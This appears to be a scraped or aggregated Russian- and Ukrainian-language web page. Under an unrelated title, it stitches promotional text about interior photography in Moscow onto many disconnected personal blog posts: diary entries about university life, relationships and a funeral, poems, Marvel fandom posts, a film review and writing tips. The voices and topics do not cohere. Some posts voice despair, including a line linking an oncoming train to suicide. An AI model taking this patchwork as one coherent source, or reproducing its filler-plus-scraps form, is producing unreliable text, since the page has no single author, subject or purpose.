Вьюи нужна помощь! [UPD 31.03.2021 05:10]

В современном мире фотосъемка интерьеров пользуется огромным спросом, особенно данная услуга актуальная для такого крупного города как Москва. Она способна передать красоту и неординарность загородных домов, квартир, офисных помещений, ресторанов, гостиниц, развлекательных центров, салонов красоты. Данный вид съемки зачастую используется в целях рекламы того или иного объекта. Он дает возможность передать его архитектурные особенности, повысить его имидж в глазах клиентов, а также позволяет приумножить число его посетителей. Именно профессиональная фотосъемка способна подчеркнуть все достоинства интерьера, сделать акцент на его уникальности и превосходстве над конкурентами. Качественная интерьерная съемка – это возможность облегчить коммуникации с клиентами.

интерьерная съемка

Создавать первоклассные снимки различных помещений способен лишь профессиональный фотограф интерьеров. Он должен быть не просто любителем фотографического жанра, а настоящим специалистом в области фотоискусства. У такого квалифицированного мастера всегда в наличии имеется необходимое современное оборудование: мощная накамерная вспышка, несколько разновидностей ламп, набор объективов и устойчивый штатив. Интерьерный фотограф способен представить любой бизнес-проект на самом высшем уровне. Люди, которые впоследствии будут просматривать такие фотографии, получат полное впечатление о запечатленном интерьере. Настоящий мастер своего дела не будет использовать шаблонный подход к съемке. Он уделит особое внимание уникальности исполнения различных интерьерных композиций и представит даже скромное помещение в самом лучшем виде. Этот человек не просто адекватно отобразить имеющийся интерьер, он создаст определенное настроение, а также учтет психологию своего заказчика и его целевой аудитории.

фотосъемка интерьеров

Как-то я поняла, что мне тяжело рассказывать свои чувства, когда меня что-то злит. Потому, что злость проходит. Да, эмоции были, неправильные поступки, обиды… Но тем, кто узнал часть истории необходимо дать свою оценку произошедшему и дают они ее всегда негативной. Ты права - он мудак, ты дура - он молодец. Но никогда никто не понимает это как есть: это жизнь и так бывает, оба вполне себе хорошие люди, просто поссорились и кто-то ошибся, оступился и был не прав. Но это не всегда значит, что люди не любят друг друга, что кто-то - сволочь или что пора расставаться.

Любителям романтики посвящаю эту (жаль еще не докоонца переведенную) мангу:З
Я могу сутками сидеть и читать эти любовные истории:З
https://readmanga.me/the_diamond_of_heart

У нас в городе страшная погода. Вчера, конечно, было хуже и всё таки. По дороге на работу мне пришлось держаться за фонарь, чтобы меня не унесло ветром в Канзас. И тут я не преувеличиваю. Дикий холод и невероятно сильный ветер. Зима, ну ты чего?!

пост-ответ для frank-iero с:
Сейчас я хочу поговорить о том, что мне в жизни дала психология и как я пришла к ней.

Начиная с окончания школьных лет, я ежилась от мысли, что скоро мне предстоит какой-то мега важный выбор, который определит течение всей моей жизни и вообще покажет насколько упорно я трудилась. Я металась между увлечениями, пытаясь понять, что мне в этой жизни нужно. Архитектура, рисование, журналистика, авиация, кулинария, переводы, экология, археология - это далеко не все варианты направлений, которые я отметала, как одно. Почему? То папа скажет: "малооплачиваемая специальность", то мама - "не женская профессия", то "тяжело", то "не для тебя". Я тупо не понимала, что от меня хотят, и уж тем более - чем хочу заниматься. Вот так и проходил 11 класс. В итоге из южного города мы с родителями поехали в Харьков, чтоб они сдали диссертации на проверку (третье образование, не хухры-мухры), а меня оставить не с кем. Я поехала смотреть "классический университет" и жизнь студентов. Пока папа сдавал свой диссер, меня повели по всем этим "поттерским" корридорам ХНУ им. Н.В.Каразина. Так мы обошли все факультеты, посмотрели на всех этих бешенных людей, занятых своим ритмом и оказались на психфаке. Ой, то есть факультете психологии, Фрейд его дери. Портреты Гиппенрейтер, Леонтьева и Рубинштейна мне не о чем не говорили. Большая эмблема греческой буквы "пси" интриговала. Мой взляд упал на стенды кафедр (понятия тогда не имела, что это): психотерапия, прикладная, общая и педагогическая психология. И такие интересные словечки, как сексология, экопсихология, психологическое консультирование, социальная психология, рисуночные методы. Похоже, что мама не зря меня привела сюда - это сочетало практически всё, что я хотела опробовать. И сказала, что поступление на психфак ответило бы на все мои вопросы и было б тем, что точно помогло сориентироваться в жизни - это универсально.
Времени на раздумья не было и я начала готовиться: биология, украинский и история. Упорно и превозмогая отсутствие мотивации я учила эти предметы. ЗНО сдала на хорошо и с дрожью в теле ждала объявления результатов конкурса. "зачислено" засветилось в списках иногороднего универа и я, сломя голову, понеслась переезжать в общагу. Это было волшебно. Абсолютно непривычно и божественно.
Я - студентка. Первый курс длился долго, я не могла понять, что к чему и что нужно делать. Я учила всё, тупо забирая всю информацию. Это было 3 профессиональных предмета и вся остальная общая дребедень: высшая математика, история, физиология, английский, информатика. И это, мне говорили, решит мои проблемы? И это ответит на мои вопросы? Математика расскажет мне, почему я чувствую себя отвратительно и не могу общаться со сверстниками? Или биологии я мало учила в школе? Я возмущалась. Через пол года первого курса мне надоело, накатило разочарование, я набрела на МакКэндлесса и заходела бросить всю эту псевдовеселую жизнь. Я даже план действий составила.
И только сейчас я поняла, какой дурной была.
Я поняла, какой я была маленькой. Только будучи на середине третьего года я осознала, как мне повезло с профессией и сколько всего я получила. Остается год и я все больше не хочу уходить, не хочу прощатся с этим потрясающим местом. В 17 лет мы не способны выбрать занятие всей жизни. Никак. Вообще. Какими бы умными и рассудительными дети не были.
Я сейчас смотрю на людей с высшим образованием и понимаю, насколько они отличаются от тех, кто не пошел в вуз. Это дает уровень, дает уверенность, широту мышления. Даже не учась на отлично, универ лепит людей. Умных людей. Пусть дажеза это я ему благодарна.
Первый курс стал переломным - и нужно было держатся, как бы тяжело не было. Потому что впереди - лучшее. Так проявляется сила воли. И я продержалась, не смотря на все "не хочу".
Те люди, которых я повстречала здесь напрочь поменяли впечатление о людях на положительное, потому что здесь другая среда. Студенты - самые лучшие люди, я вам говорю. Самые приветливые и веселые, переживательные и сочувственные.По-любому найдется человек, который вас поймет.
Я нашла таких людей, которых мир не видовал, самых-самых.
Сейчас, не смотря на мнение окружающих, я научилась формировать свою точку зрения, находить плюсы даже в самом "говне", принимать ситуации такими, какими они есть, принимать людей такими, какие они сейчас. Я вижу людей. И пусть все говорят, что психолог - не профессия, я буду уверена на все 100 - что это лучшее, что даст фундамент для жизни и поможет успешно выжывать в социуме, вертеться и ладить с людьми. Быть гармоничным для себя - а это главное.
Теперь я умею понимать. Слушать. Говорить, не боясь. И еще: у меня появился стимул учится дальше. Для себя. Вот стоить чего-то. Для себя.
Изначально я писала пост, чтобы рассказать, почему факультет психологии сделал из меня человека, но сейчас я поняла - что не главное куда поступишь, главное - что будешь студентом и пройдешь эти 4 года так, как никакие 4 года своей жизни: ясно, интересно и весело.

26 н о я б р я 2015

и пусть все это уже было когда-то с кем-то другим, пусть. важно, что теперь все это связанно только с тобой.

/я не какая-то там особенная или другая, просто во мне чаще горит огонь, способный спалить все внутренности до тла, не оставив вокруг ничего, кроме пепла./

я - костер, я - настоящий ад.

я сам себе демон,

сам себе таракан огромных таких размеров.

и все, что живет вовне, что восходит над,

трепещет и вопиет, -

все покоряется стенам.

нет места унынию, тьме, и мглу

рассеет над адом зарево пепелищ:

есть все еще то, ради чего молчишь;

ведь все еще есть, во имя чего молчу.

ВНИМАНИЕ! ОГРОМНЫЙ ПОСТ С БОЛЬШИМ КОЛИЧЕСТВОМ ФОТОГРАФИЙ И ЭМОЦИЙ!

Меня не было здесь две недели. Когда было время написать, не было вдохновения, а когда было вдохновение - не было времени. Главное мое событие последних дней - бал случился! Мы выступили со своей постановкой на конкурсе проектов социализации и всем понравились. Многие говорили, что у нас лучшее выступление из тех четырех факультетов, что были в тот день. Когда я надела платье, я стала ловить восхищенные взгляды окружающих. И девушки, и парни смотрели на меня так, будто я Принцесса какая. Даже студент, который главный в профкоме и с очень большой самооценкой, залюбовался мной и голосом типичного мачо сказал, когда я проходила мимо: "Здравствуйте". Я была в платье XIX века, которое сшили специально для меня (но оно все равно оказалось длинным, и я наступала на юбку).

Наш декан долго поднимала нам нервы, говоря, что мы все испортим, что все делаем неправильно и что вообще мы очень ужасны. Однако, она "выбила" нам самую большую гримерку, и другие факультеты, теснившиеся в комнатках на 10 человек максимум завидовали нам, потому что у нас можно было не только уместиться нашей половине сотни, но и еще одному факультету. Мой сценический папаша опоздал на три часа (благо, не на выступление - мы собирались к девяти утра), и наш сольный танец придумался за минуту: "Давай сделаем круг шагов, затем я тебя покручу, снова шаги и в конце мелодии поклоны". Все гениальное - просто. :)

Вот и он, кстати. Даша с Владом долго рисовали на его лице, и получилось ЭТО. Хорошо, что со сцены было не сильно заметно.

Но больше всего я помню момент, когда мы выходили на сцену. Сначала мы ждали около гримерок своей очереди, потом зашли в кулисы. На сцене ведущие уже объявляли нас, а мы выстраивались. Погас свет. Затем на экране появились титры, и я увидела свое имя! Самое первое. Их там было всего четыре. Я не видела эту заставку раньше, поэтому чуть-чуть подпрыгнула от радости и неожиданности. Готова любить театр хотя бы за ту закулисную жизнь, прямо перед началом спектакля! Заиграла музыка, а у нас начался полонез. Волнения не было вообще, вот ни капли! Как будто то, что я делала - самое моё из всего. Я улыбалась. С Владом (который с усами и бородой, хахах) мы смотрелись, на мой взгляд, отлично. Очень легко играть любовь, когда ты влюблена в него в жизни. Моя подруга, следящая за нами из зрительного зала, сказала потом, что было видно, что я им восхищаюсь.

Нет, ему не под сорок. :D

Нет, я все же волновалась в момент, когда нам с Владом-папой нужно было станцевать сольную часть. Я уже писала, как мы ее готовили, а на мне еще была юбка, на которую я наступала, и я очень боялась… Но все прошло отлично и красиво.

Поклоны. Как я кайфовала от них! Влад взял меня за руку, когда присоединился к нам, а я взяла его крепче. Такой пустяк, но мне был дорог этот момент. Нам громко аплодировали и кричали: "ФФЖ!" (факультет филологии и журналистики) Когда мы зашли за кулисы, по моему телу пронеслась такая радость… Я хотела всех-всех обнять и поцеловать, мне хотелось прыгать от радости и громко смеяться! Я начала снимать микрофон, и он запутался в моих волосах. Даша помогла мне с ним. Как я обожаю Дашеньку, этого солнечного и прекрасного человечка! После выступлений (потом были еще фольклорные танцы) я помогала ей с костюмами, ведь все нужно было сложить по отдельным мешкам и пересчитать перчатки и вееры. К шести приехал автобус, который заказала для нас декан, и я оставила Дашу с другой девочкой, обняв ее перед этим. Она сказала: "С дебютом! Добро пожаловать к нам!" Вечером она мне написала: "Вика, еще раз с премьерой тебя! Ты была красавица, ваш танец вызвал бурю умиления, к слову))) " А спустя час позвала меня на тусовку в честь нашей маленькой премьеры, в субботу.

Этот день стал лучшим из того, что со мной случилось на этом факультете. Я распечатаю фото и повешу их на стену.

Видео: youtube (наше выступление приблизительно с сороковой минуты).

Instagram Ask

Макияж мне делала подруга.

В красном - парень-журналист с третьего курса. Я его с первого дня считала очень крутым и классным (он такой на самом деле). Девушка с нами - моя дорогая Любушка, но об этом, наверное, позже. Слева наш староста.

Глаза в глаза.

Стив и Баки | Первый мститель: Противостояние

— Бак… Ты помнишь меня?
— Твою мать звали Сара. Тебе приходилось пихать газету в
свою обувь.

Лицо Стива на посл гифке бесценно.
а на предпоследней…мне кажется или лицо Баки действительно светлеет и он даже чуток улыбнулся при этом воcпоминании?!!

Что Вы чувствуете, ассоциируете при виде приблежающегося поезда по туннелю на станцию? Эти фонарики, скорость, мрак.. Я вижу суицид.

Вселенная любит шутить и подкидывать различные внезапные ситуации. Именно это она сделала сейчас.

Я немножко в шоке от того, что произошло. И раз меня никто не читает, я могу все поведать.

В том году я поступила в институт, познакомилась с одним парнем, но у нас ничего не вышло. Это из-за меня, я не подпускала его к себе близко, потому что подсознательно боюсь отношений. И еще я не уверена в том, что он знал, чего хочет от меня. Так вот, мы уже очень давно не общались, как вдруг он мне написал! Конечно в этом нет ничего такого, просто неожиданно.

На вопрос: "Как ты вообще вспомнил про меня? "
Он ответил:"Если ты забыла про меня, это не значит, что я тоже".

Но простите, я помнила о тебе постоянно. Я даже слишком часто вспоминала о тебе. А что-то делать для восстановления "отношений" я не считала нужным, я и не знала, что делать.

Меня волнует вопрос, что же все-таки подтолкнуло его на этот поступок. Просто так это не могло появиться в голове, что-то напомнило ему обо мне, что-то возникло…

вчера.

в это время.

я тебя целовала…

хотела тебе сказать, что тогда так и влюбилась.

в тебя нежного, сильного и безумно красивого.

пока немного страшно, что больше ты меня не поцелуешь.

Я конфликтую с собой постоянно, потому что не могу определиться какая же я на самом деле. То я скромная, тихая, молчаливая девочка, постоянно сидящая дома, то совершенная ей противоположность. Возможно, даже велика вероятность того, что это зависит от того, кто меня окружает.

Мне постоянно кажется, что я обманываю людей, ведь сперва они видят во мне милую тихоню. Только через некоторое время, если мне с ними комфортно и я понимаю, что они примут меня любой, я меняюсь. Но это изменение не приходится мне по вкусу. Когда я много и громко говорю, когда я весела и веду себя слишком свободно и уверенно, мне становится некомфортно. Чувствуется, что это не я.

Мне не верится, неужели я могу быть такой, неужели я и есть такая.

Пора примириться со своими внутренними монстрами, но никак не получается. Я все-таки надеюсь, что когда-нибудь смогу от них убежать.

Нельзя же заставить человека чувствовать? Особенно бесчувственного. Он слушает песни со словами "соси мой хуй". Дибил. Я просто смотрю на моих дам, они такие хорошие, светлые, им нужны хорошие парни. А хороших то и нет, все что-то с говнецом.

Я не запоминаю свои сны, разве несколько ужастиков. Хотя однажды мне снилось, что я должна была встретиться с 30 Seconds To Mars. Правда, не помню, получилось ли. Это лучшее о чём мне известно.

У вас когда-нибудь бывал настолько херовый день, что ком в горле и кажется хуже быть не может…? Но вдруг, за долю секунды он становится совсем хуевым. Череда событий сегодняшнего дня просто меня убила. Единственным выходом сейчас я вижу просто пойти и лечь спать.

Кем может быть Уорд на самом деле?!

—… Думаешь, это станет подобно тому открытию, как когда мы узнали, что
Скай - это Дейзи Джонсон? И это причина, почему они это так скрывают?
— Несомненно, это возможно!

говоря, что всё возможно, у Бретта такое лицо. стопроцентно эта наглая моська что-то знает. или…фак, Далтон, ты уже такой спец по обхождению острых спойлерных углов, что бывает не знаешь, правду ты говоришь или опять юморишь :)) но я всё равно надеюсь, что это будет нечто этакое и что его герой откроется с совершенно новой стороны. например, со стороны комиксов ;) а то как правильно заметил Бретт, в комиксах нет парня по имени Грант Уорд. к слову, как и не было Скай, но была Дейзи Джонсон.

Печальбеда. В Летуаль нет вообще никакой светлой пудры. Я ради этого даже денег заняла, пришла в лету и туту (в такие моменты плохо иметь очень бледную кожу. Сразу вспоминаю Рождественскую: "-у вас есть очень очень очень светлый тональник? - нет, остался только очень очень светлый. - черт, это слишком темный для меня "

Боль — это событие, которое происходит с тобой и справляться с которым ты должен в одиночку — любыми доступными тебе способами.

— Хью Лори, «Торговец пушками»

Я даже взяла и удалила диалог с ним. А для меня это ну вообще прям серьёзно. На самом деле я сделала бы это ещё вчера, но помнила о том, что он может без проблем забрать для меня посылку в россии (да ты прям проститутка посылочная, погляди-ка). В общем, дай, думаю, хоть с чего-то получу пользу, только дождусь чёрной пятницы (наивная), которая по итогу оказалась очередным дерьмом, и я решила, что мне это всё не к спеху и лучше я пораньше куплю родителям подарки на новый год. А потом я увидела своё прочитанное и оставшееся без ответа сообщение, в котором уточняла, где ему удобнее это всё дело забрать, остановилась и задумалась: "что я творю?". Я знаю, что на самом деле всё не так, но выглядит лишь как жалкая попытка себя навязать человеку, который даже не удосужился ответить. Конечно, возможно он просто бухой, но я не хочу искать для него какие-то оправдания. Он просто абсолютно ненадежный, ну и вдобавок я ему не интересна. Вовремя одумалась. Найду ещё кого-то, кто сможет меня выручить. А для проявления симпатий найду того, кто будет хотя бы минимально проявлять инициативу в общении. Короче, до свидания. Здесь я не хочу просить даже обыкновенной помощи. И надеюсь, что эта история окончена.

Я разочаровалась в тебе, насколько это возможно.Ты просто делаешь вид, что мы вообще не знакомы.Конечно, я это уже проходила, со мной так обращалась и не раз..но ты..просто не из-за чего..Ты теперь говоришь с ней, рассказываешь все ей..ну и плевать…раз тебе плевать с кем общаться, кому рассказываать все о себе, кому довериться..то мне тем более.

Я знала, что мы никогда не будем друзьями, я даже знала, что мы врятли будем общаться после универа.

но чтоб вот так..просто тупо не из-за чего.Да так прекратить общение я могу с кем угодно, но только не с тобой.

мне даже не за что на тебя обижаться.я просто разочаровалась в тебе.сильно.полностью.

просто переоценила.хорошо хоть не доверилась и не рассказала тебе ничего.да я и не хотела.Бог предостерегал меня.Я просто не могла тебе ничего сказать.Я просто не хотела.Просто не.

Я ничего не потеряла.Но много чего нашла..и я никогда и ни за что не пожалею что это было..это было общение живое общение.ТО, общение которого мне так часто не хватало…Но увы, повторю её слова:Ты не вошла в список "теплых воспоминаний"

ты мне никогда не была родной.сколько я с тобой не общалась, я не чувствовала, что ты моя..ты ей никогда и не была..и за это тебе спасибо

к тебе я привыкла не так как к ней

все бросают слова на ветер..всем на всё и на всех плевать

ну и ладно.ну и пусть.

я никогда не уступлю себе.

А ты прощай, и никогда не возвращайся..хотя мы в одной группе, и это хреново

почему-то я уверена, что ты не вернешься.. но я не приму.

НИ ЗА ЧТО


С любовью, Рози/ Love, Rosie (2014)

Cюжет: Рози и Алекс были лучшими друзьями с детства, и теперь, по окончании школы, собираются вместе продолжить учебу в университете. Однако в их судьбах происходит резкий поворот, когда после ночи со звездой школы Рози узнает, что у нее будет ребенок. Невзирая на то, что обстоятельства и жизненные ситуации разлучают героев, они и спустя годы продолжают помнить друг о друге и о том чувстве, что соединило их в юности…

Наверное, мой поезд уже ушел, но мне нравится мечтать об этом. Нам всем нужны мечты. У каждого должна быть надежда, что когда-нибудь он сможет добиться большего.…

Знаешь, я не жалею о Кэтти. И я никогда не жалела. Она самый потрясающий ребенок. Самое странное, что она мне больше напоминает тебя, чем Грега. Наверное, потому что я люблю её…

И я поняла, что не важно где ты и с кем ты, я буду всегда, искренне, по-настоящему, всецело… любить тебя.

Я не хочу быть одной из тех, кто когда-то был так важен, так много значил, чью дружбу настолько ценили, а через несколько лет он превратился в смутное воспоминание…

Замечательный подбор актеров, но главное украшение фильма - Лили Коллинз и Сэм Клафлин. Эти двое гармонично смотрятся вместе, дополняя друг друга. Кроме приятной внешности, они прекрасно вжились в свои роли. заставляя смеятся и плакать вместе с ними. Игра очень динамична, не наигранна и смотрится цельно, хотя сюжет разделен на временные отрезки и актерам приходилось "прыгать" по ним, взрослея со своими героями. Приятно когда все актёры «на своём месте».

Фильм обворажительный, смотрится на одном дыхании, очень теплый и нежный, но в тоже время не дает заскучать.

Не смотря на то, что я поставила ему 7 из 10, он вошел в список моих любимых фильмов.

Когда только начинаешь влюбляться испытываешь такие особенные, такие волшебные чувства… Когда видишь человека, когда думаешь о нем, когда говоришь с ним. Такие неповторимые эмоции, когда начинаешь узнавать его, когда вы еще не встречаетесь, но после каждого его прикосновения - мурашки по коже. Та неловкость, когда вы идете на свидания, когда все в первый раз. Все чувства обострены. Через годы уже только вспоминаешь всё это, когда жизнь входит уже в привычное русло, где нет свиданий, нет разговоров по душам, видишь, что человек совсем не ловит каждое твое слово, не восхищается тобой, реже смотрит на тебя… Всё просто, буднично и как-то обычно. Наверное, от того и распадаются семьи: люди больше не чувствуют того, что было: любовная пелена исчезает и начинается реальность.

Любовь - это когда хочешь пережить с кем-то четыре времени года. Умный чувак сказал, и дело не во временах. Правда, любовь не бывает с первого взгляда, она не падает тебе на голову по средине дня. Это то, к чему приходят отношения. После страсти и нежности. Ты в один день осознаешь, что любишь человека. Главное, не перепутать это чувство с другим, например, с привычкой.

На самом деле, по моим целям день выдался практически бестолковый. Но, с другой стороны, я провела немного времени с близкими, выспалась, приехала домой в 17! Сходила на УЗИ, кстати это есть в моих целях, - и тфу-тфу-тфу мне сказали, что все хорошо! Вопрос, конечно, почему у меня есть проблемы с кожей остаётся открытым, но зато по гинекологии все ок. Следующий шаг дерматолог - на следующей неделе, Также привела вечером себя в порядок, намазала брови касторовым маслом (что кстати тоже есть в моих целях пункт "Красота"). Прогуляла две пары))) но думаю, что это не очень критично. Не успела почитать, честно сказать, почему-то ленилась, но завтра обязательно буду читать. Активно работала на паре по английскому. Питалась тоже вполне прилично, но с небольшим грехом. На завтрак у меня была как всегда каша и тосты с маслом. Второго завтрака, к сожалению, не было - я не успела. На обед был крем-суп из шампиньонов, также была курица на гриле с овощами. Но после съела безешку: (и потом от неё было не очень хорошо. Хотелось спать, и даже чуть-чуть подташнивало. Далее дома попила чай и поужинала - также съела курицу с рисом. И булочку цельнозерновую с арахисовым маслом (чего возможно делать и не стоило ! Но она была небольшая). И потом ещё попила чай с ложкой мёда. Завтра планирую завтрак как обычно, на первый перекус творожную запеканку, на обед скорее всего курицу с чем-то, на второй перекус, возможно, банан, а на ужин греческий салат. Будет идеально!) завтра целый день на работе. Также сегодня ещё немного обсудили статью, и моя коллега начала уже писать ее. Вот такие у меня дела. На завтра много планов, так что спокойной ночи всем!

Я думаю о тебе все время. Думаю о тебе утром, идя по холодку. Нарочно шагаю помедленнее, чтобы думать о тебе подольше. Думаю о тебе вечером, когда мне одиноко без тебя на вечеринках, где я напиваюсь, чтобы думать о чем-нибудь другом, но добиваюсь обратного эффекта. Я думаю о тебе, когда тебя вижу, и когда не вижу, думаю тоже. Мне так хотелось бы найти другое занятие, но я не могу. Если ты знаешь, как можно исхитриться тебя забыть, научи меня. Фредерик Бегбедер "Любовь живет три года"

больше всего в моей жизни меня раздражает незаменимость всех людей вокруг. К великому сожалению я умею увидеть то индивидуальное, личное, интимное в каждом человеке, что делает его незаменимым. я никогда не чувствовала себя незаменимой. я никогда не слышала, чтобы кто-то не мог без меня жить, что кому-то без меня плохо. поэтому я злюсь. поэтому мне плохо.я страдаю по всем вокруг и ни по кому. мое сердце разбито. оно пустое и черное, в нем больше ничего нет, оно больше ничего не может, из последних сил оно смогло кого-то полюбить и теперь оно навсегда разобьется. я хочу слишком многого от любви. я хочу чтобы она оправдывала мою отдачу и мои жертвы. это очень эгоистично потому что не бывает одинаковой любви. для всех это что то свое. но все равно было бы справедливо если бы эта отдача была равной с обеих сторон а пока я опустошена.все мои друзья ушли. я одинока так, что внутри меня эхо из пустоты. я пытаюсь сказать себе что я смогу все построить и склеить а получается ничего

Щось трапилось в моєму житті, бо абсолютно байдуже на все.. Мені байдуже як йде навчання (не закинула, але якщо 2 то 2, подумаєш, перездам), все-одно що мама кричить постійно, просто не звертаю уваги. Не грає ролі що думають про мене люди. І якось навіть заміж не припікає, хоча здавалося б кожна дівчина мого віку мріє. Дивуюсь.. Ти у мене є, а мені байдуже. Не буде - то й шукати нікого не стану. Повна апатія. Тому вирішувати зараз і приймати рішення немає сенсу. Треба ожить, зрозуміти що діється, аж тоді приймати рішення.

У нас на кухне наступает какой-то апокалипсис. Уже третий день не работают плиты по непонятным причинам, поэтому нам, живущим на третьем этаже, приходится ходить готовить на второй. А два этажа всего лишь на две плиты - да уж, крайне неудобно!

Так, мало того, сегодня у нас еще и свет погас на кухне. Так что посуду я мыла при зажженной свече, благо, она у меня есть. Ну хоть где-то у меня должен быть романтик, че.

Весь цей час я прибирала будинок і ні хвилини не було без думки про тебе. Ти наче був поряд. ну мені так хотілося. Про що думала? Згадувала кожну мить проведену з тобою, згадувала твої очі коли виходив з маршрутки. Скільки в них побачила нового. Сум, краплю пустоти, непорозуміння, надію, тепло, і запитання.. Так наче бачиш востаннє. ^ Лише сьогодні я почала трошки скучать, ще й зайшла в інста, подивилась твій профіль і пріунила. Немає сильного суму, відчуття що ти завжди поряд. ^ Ти мені другом став. Не знаю як на рахунок більше.. Можливо: "Любовь приходит тихо"? Може треба час? ^ Цікаво як ти зараз? Про що думаєш? До чогось може дійшов. Чи може вже взагалі розчарувався в мені. ^ Постійно молюсь. Сьогодні ледь не весь день прошу у Господа щоб якщо це не я - щоб Він забрав у тебе абсолютно всі почуття. І якщо навпаки - тоді щоб мені дав більші.

Теперь уже редко, но пока еще могу позволить себе приключения и подростковое поведение, из меня скорей всего никогда не сделать взрослого человека.На этот раз я решила что очень давно ничего не пила, очень давно нигде не гуляла и не совершала необдуманных действий.Спасибо Максик что наконец-то понял меня и реализовал мои маленькие, глупенькие желания на этот день). Скоро получаю аванс, а это означает что приключения обретут новые краски и какую-то часть денег я пущу на наш личный досуг).

Началось все с дикого холода… ;)

Почему все так любят делать фото в такой момент?)

Захотела приключений?Начнем с устранения этого ужасного холода) …Кстати, стыдно…

На улицах никого, пустота…

Мур-мур)))

—"Я еще никогда не ходил по МКАДУ пешком".

Я думаю тут уже все понятно без лишних слов… ;))) )) )

Надпись на мосту:

Мне иногда кажется, что я могу чувствовать людей. Будто с определёнными людьми, у меня действительно есть связь. В последнее время очень часто происходит так, что я вот полвечера просижу с мыслями о человеке, а он мне хоп, и написал. Или несколько дней подряд захожу к кому-то на страницу, вроде и написать сама не прочь, но меня опережают и пишут "вот уже пару дней хочу с тобой поговорить". Или сны. Да, те самые, очень реалистичные и правдаподобные сны, после которых главный герой как-то напоминает о себе в реальности. Как это объясняется ? Странно. Всё очень странно.

1. Пиши, как говоришь, говори, как думаешь. Мысли на письме – это немое изложение твоих устных слов

2. Пиши постоянно, всегда и везде

3. Коллекционируй идеи

4. Пиши то, что основано непосредственно на твоем опыте

5. Развивайте только одну мысль, старайтесь быть в одной теме

6. Пишите с пользой для других

7. Отключите грамматику, фонетический и др. анализ письма

8. Не отождествляй себя с твоими читателями

9. Авторское право

10. Хочешь стать писателем – полюби писать, пиши каждый день

От "БелМедПрепаратов" до "кинотеатра Ракета" лететь на замерзших от холода крыльях (на первом попавшемся автобусе), теребя в руках не пробитый билетик. Стоять у двери твоего подъезда и просить впустить. И ты снова немного поиграешь со мной, а я понарошку немного испугаюсь что ты оставишь меня мерзнуть здесь.

А дальше, прямо с порога я попадаю в теплую-теплую кровать - так кстати. А дальше теплый-теплый поцелуй, теплые-теплые объятия. Устроившись поудобнее даю тебе заснуть и под твое тихое и размеренное дыхание дочитываю последние главы "Убить пересмешника".
"Почти все люди хорошие, Глазастик, когда их в конце концов поймёшь."

В конце концов я поняла что ты уснул и спряталась на кухне, в горячем кофе. Так жаль тебя будить, но ведь мне скоро уже через эти дворы лететь от тебя к метро.

Выпьем кофе, посмеемся, посмотрим друг на друга пока курим, поговорим и помолчим.

Поцелуй меня на прощание, оставь в этом поцелуе все.

Ухожу.

Мы все играем на чужих чувствах. И всем нам это доставляет превеликое удовольствие. Если нет, то отчего мы заранее не зная ответа, все же говорим "я тебя люблю"? Мы играем с собой, мы играем с другими. Вечная игра, в которой нет победителей, нет проигравших. Есть люди, которые решили ПОБЕДИТЬ; которые решили УСТУПИТЬ.

Хочу ли я проиграть тебе?

Я хочу

играть

с тобой.

Ни как люди играют с детьми или животными,

а как играют с огнем.

26/11/2015

Мы только что похоронили прабабушку. И, чёрт, я совсем не знаю, как с этим бороться или как принять. Где-то в блоге были посты, в которых рассказывала о ней, переживала за её здоровье. 2,5 года назад. Греет душу, что она прожила счастливую жизнь и мы, насколько это возможно, успели всё сказать друг другу. Сквозящяя пустота в душе, где раньше была она. Мой близкий друг, поддержка и опора. Благодарна, что знала её в течении 20 лет своей жизни Просто ума не приложу, как начать жить дальше

Я начал было одну главу следующими (столь новыми) словами: "В один прекрасный день" — потом вымарал "прекрасный" — потом вымарал "один" — потом вымарал всё и написал крупными буквами: ЕБАНА МАТЬ! да на том и покончил. Но я думаю, "Русский вестник" этим не удовлетворится.

Иван Тургенев. Из письма В. П. Боткину. 17 (29) мая 1856. Спасское.

Привет. Я, кажется, вернулась.

И не просто так. Хочу вести блог про фильмы, что я посмотрела/хочу посмотреть, писать рецензии (вот этого я вообще не умею делать). Надеюсь, получится.

я уже не стучу в закрытую перед моим носом дверь. но устроилась на коврике возле этой двери и все жду, что она откроется.

если бы ты сдерживал обещания…
если бы я сдерживала их тоже.
если бы ты справлялся с эмоциями…
если бы я меньше доверяла.
если бы ты был поближе…
если бы я решилась.
если бы ты просыпался с улыбкой…
если бы я меньше думала.
если бы ты был самым лучшим…
если бы я была хуже.
если бы ты был морем…
если бы я была небом.
если бы ты…
если бы я…

— В нем было что-то такое… У нас у обоих было сложное детство, которое мне легко понять.
- Ты когда-нибудь думала, что это могло быть просто ложью?
- Это не было ложью… По какой-то причине Уорд никогда не лгал мне. Он просто скрывал те части себя, которые я тогда была не готова увидеть.
- Тогда?
- Когда ты вырастаешь так, как мы… Это заставляет смотреть на мир с определенной стороны и Уорд так на него и смотрит.
- Поэтому он думал, что я смогу понять его.
- Он был прав?
- Пожалуй.
- После того, как я постоянно меняла семьи, я прекрасно понимаю, как легко ему было пойти за сильным мужчиной, напоминающим отца.
- Я даже понимаю как Гаррет заманил Уорда в Гидру. В конце концов я тоже была обманута моей матерью…
- Похоже, ты многое готова простить ему.
- Я никогда его не прощу.

никогда не говори никогда.

хотела поделиться своими впечатлениями от концерта Слэша, который с размахом отгремел в этот вторник в Москве, но позвонила мама, в красках описывая происходящие в Липецке события, связанные со сбитыми Турцией нашими летчиками, что целый час просто проревела… откладывается до завтра.

где Мстители, когда они так нужны?

У подножья ладоней июнь поменяет май,
Моя вечность, я терпеливый Кай -
Привыкай ко мне по кусочку, заново привыкай.
А сейчас закрывай глаза, засыпай.
Сколько я протяну вот так - мне доподлинно неизвестно.

приемлемо, или все же нет?…

так как уже близится Новый Год, время подарков, я уже начала думать, что подарить родственникам и каким образом, ко мне в голову пришел вопрос: а как вообще люди выбирают подарки? продумывают все наперед, или покупают в последний момент, что найдут? экономят на себе, копят, чтобы сделать приятно родному или просто близкому человеку?

считаете ли вы приемлемым экономить на родных, чтобы купить себе что-то желаемое вами? или все таки, вы готовы чем-то жертвовать, чтобы счастлив был человек рядом с вами?

сможете ли вы пересмотреть всю свою жизнь и дать ответ на этот вопрос? признаться, что вы поступаете именно так и считаете это приемлемым? или с уверенностью сказать, что готовы жертвовать всем, чем придется? или вы считаете это неправильным, но все равно поступаете так?

если вдруг вы захотите ответить, но анонимно, вы всегда можете написать мне на некто - х.

Мне говорили: увидишь, и в горле затихнет звук,
Кудри черные обволокут плечо,
И дракон, что живет в позвоночнике, тут же расправит крылья
И опустит голову на твои ключицы.


Мой позвоночник - 11 лезвий и 8 жал,
Ты ушла - я ни словом не возражал -
Лишь ладонь разжал,
Когда стало тесно.

